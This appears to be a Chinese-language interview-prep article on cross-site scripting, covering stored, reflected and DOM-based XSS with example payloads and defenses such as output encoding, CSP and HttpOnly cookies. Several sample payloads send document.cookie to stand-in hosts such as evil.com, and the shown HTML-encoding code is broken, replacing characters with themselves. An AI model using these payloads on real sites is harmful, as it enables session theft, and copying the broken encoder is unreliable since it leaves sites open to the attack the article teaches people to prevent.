文章中英模式

布魯斯前端面試題目 - XSS跨站腳本攻擊詳解

深入解析XSS攻擊原理、種類與防禦機制。了解如何防範儲存型XSS、反射型XSS和DOM XSS攻擊，保護Web應用安全。

文章中英模式

懶得看文章？那就來看影片吧

XSS攻擊是什麼？

XSS（跨站腳本攻擊）就像是有人在網站上貼了一張「寫著程式碼的便利貼」，當其他人瀏覽這個網站時，便利貼上的程式會自動執行，可能竊取你的資料或冒充你做事。

XSS攻擊的簡單原理：

  攻擊者                         受害者
    |                               |
    |-- 注入惡意程式碼到網站 -->     |
    |                               |-- 瀏覽含有惡意程式碼的網頁
    |<-- 竊取資料/執行未授權操作 --   |

與CSRF不同，XSS不只能執行操作，還能讀取頁面內容和竊取資料。本質上是程式碼被注入到網頁中，讓攻擊者可以存取用戶的Cookie、LocalStorage等敏感資訊。

⚠️ XSS攻擊可以做什麼？

1. 竊取Cookie模擬用戶登入
2. 獲取敏感資訊
3. 修改頁面內容進行釣魚
4. 記錄用戶輸入（如密碼）
5. 偷偷執行操作（如轉帳）

簡單的XSS攻擊示例：

// 評論框輸入
<script>
  fetch('https://惡意網站.com?data='+document.cookie)
</script>

// 搜尋框輸入
<img src="x" onerror="alert('已被攻擊')">

XSS攻擊的類型

XSS攻擊主要分為二種類型，每種類型的攻擊向量和危害程度各不相同：

1. 儲存型XSS (後端)

惡意代碼被永久儲存在目標伺服器的資料庫中

// 用戶評論

危險度：高（影響所有訪問頁面的用戶）

2. 反射型XSS (後端)

惡意代碼包含在URL中，伺服器將其反射回瀏覽器

// 惡意連結

https://example.com/search?q=<script>alert('XSS')</script>

危險度：中（需誘導用戶點擊特定URL）

XSS攻擊流程示例：

  儲存型XSS:
  攻擊者 ------> 網站伺服器 ------> 受害用戶
     |              |                 |
  提交惡意代碼    保存到數據庫    載入頁面執行惡意代碼
                                      |
                                  竊取Cookie/執行操作

  反射型XSS:
  攻擊者 ------> 受害用戶 ------> 網站伺服器 ------> 受害用戶
     |              |                |                 |
  製作惡意URL    點擊惡意URL    返回包含惡意代碼的頁面  執行惡意代碼

XSS攻擊實例

// 儲存型XSS - 論壇評論
const userComment = '<img src="x" onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">';
// 網站未過濾直接存入數據庫，所有用戶訪問頁面時都會執行惡意代碼

// 反射型XSS - 搜索功能
// https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
// 伺服器直接將搜索詞反射到頁面：
document.write('搜索結果: ' + urlParams.get('q'));

// DOM型XSS - 客戶端渲染
// https://example.com/page#<img src=x onerror=alert(1)>
// 客戶端JavaScript:
document.getElementById('content').innerHTML = location.hash.substring(1);

如何防範XSS攻擊

防範XSS攻擊需要多層防禦策略，從輸入驗證到輸出編碼，再到安全策略的實施：

1. 輸入驗證與過濾

1. 驗證數據類型、長度和格式
2. 過濾特殊字符和HTML標籤
3. 使用白名單而非黑名單

const sanitizeInput = (input) => input.replace(/<[^>]*>/g, '');

2. 輸出編碼

1. HTML編碼（< 變成 <）
2. JavaScript編碼
3. URL編碼
4. 根據上下文選擇編碼方式

const safeOutput = escapeHtml(userInput);

3. 內容安全策略 (CSP)

1. 限制可執行腳本的來源
2. 禁止內聯JavaScript
3. 限制eval()等危險函數

Content-Security-Policy: script-src 'self'

4. 其他安全措施

1. 使用HttpOnly Cookie防止腳本訪問
2. 實施X-XSS-Protection標頭
3. 使用現代框架的安全特性
4. 定期安全審計和滲透測試

Set-Cookie: sessionId=abc123; HttpOnly

React等現代框架的XSS防護

React等現代框架默認會對變量進行HTML轉義，但仍有風險點需注意：

// 安全 - React自動轉義
return <div>{userInput}</div>;

// 危險 - 繞過React的保護
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

// 危險 - URL注入
return <a href={userInput}>點擊</a>;  // 如果userInput是"javascript:alert(1)"

// 安全實踐
// 1. 避免使用dangerouslySetInnerHTML
// 2. URL前綴檢查
const isSafeUrl = url => url.startsWith('http://') || url.startsWith('https://');
return <a href={isSafeUrl(userInput) ? userInput : '#'}>點擊</a>;

🔥 常見面試題目

(一) 什麼是XSS攻擊？如何有效防範？

解答：XSS（跨站腳本攻擊）是一種允許攻擊者在受害者瀏覽器中執行惡意JavaScript代碼的安全漏洞。攻擊者通過在網站注入惡意代碼，當其他用戶訪問該頁面時，惡意代碼會在用戶的瀏覽器中執行，可能竊取Cookie、會話令牌或其他敏感信息。

XSS攻擊的三種主要類型：

儲存型XSS：惡意代碼被永久存儲在目標服務器上（如數據庫中的評論）
反射型XSS：惡意代碼包含在URL中，服務器將其反射回瀏覽器
DOM型XSS：漏洞存在於客戶端代碼，不涉及服務器處理

有效防範XSS攻擊的方法包括：

輸入驗證與過濾：驗證所有用戶輸入，過濾或轉義特殊字符
const cleanInput = userInput.replace(/[<>]/g, '');
輸出編碼：根據上下文對輸出進行適當編碼（HTML、JavaScript、URL等）
const safeHtml = userInput.replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>');
內容安全策略(CSP)：限制可執行腳本的來源，禁止內聯JavaScript
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
使用HttpOnly Cookie：防止JavaScript訪問敏感Cookie
Set-Cookie: sessionId=abc123; HttpOnly; Secure